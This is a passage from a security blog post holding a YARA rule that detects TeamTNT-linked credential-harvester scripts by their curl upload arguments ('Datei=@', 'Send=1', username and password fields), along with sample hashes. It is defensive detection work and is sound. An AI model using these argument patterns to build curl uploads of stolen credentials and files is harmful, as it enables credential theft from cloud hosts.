description = "Detecting presence of known credential harvester scripts (commonly used by TeamTNT) containing common curl arguments including 'Datei' (German word for 'file') and specific 'Send=1' arguments found in German blog post https://administrator.de/tutorial/upload-von-dateien-per-batch-curl-und-php-auf-einen-webserver-ohne-ftp-98399.html which details using curl (with these specific arguments) to upload files to upload.php"
author = "daniel.bohannon@permiso.io (@danielhbohannon)"
date = "2023-07-12"
reference = "https://permiso.io/blog/s/agile-approach-to-mass-cloud-cred-harvesting-and-cryptomining/"
md5_01 = "b9113ccc0856e5d44bab8d3374362a06"
md5_02 = "d9ecceda32f6fa8a7720e1bf9425374f"
md5_03 = "0855b8697c6ebc88591d15b954bcd15a"

md5_04 = "f7df739f865448ac82da01b3b1a97041"
md5_05 = "1a37f2ef14db460e5723f3c0b7a14d23"
md5_06 = "99f0102d673423c920af1abc22f66d4e"
md5_07 = "99f0102d673423c920af1abc22f66d4e"
md5_08 = "5daace86b5e947e8b87d8a00a11bc3c5"
strings:
$curlFileArgGerman = ""Datei=@""
$curlArgSend = " -F "Send=1" "
$curlArgUsername = " -F "username="
$curlArgPassword = " -F "password="
condition:
all of them
}

Note: Cet article a été rédigé et contribué par le chercheur de Permiso, Abian Morina.

A lire également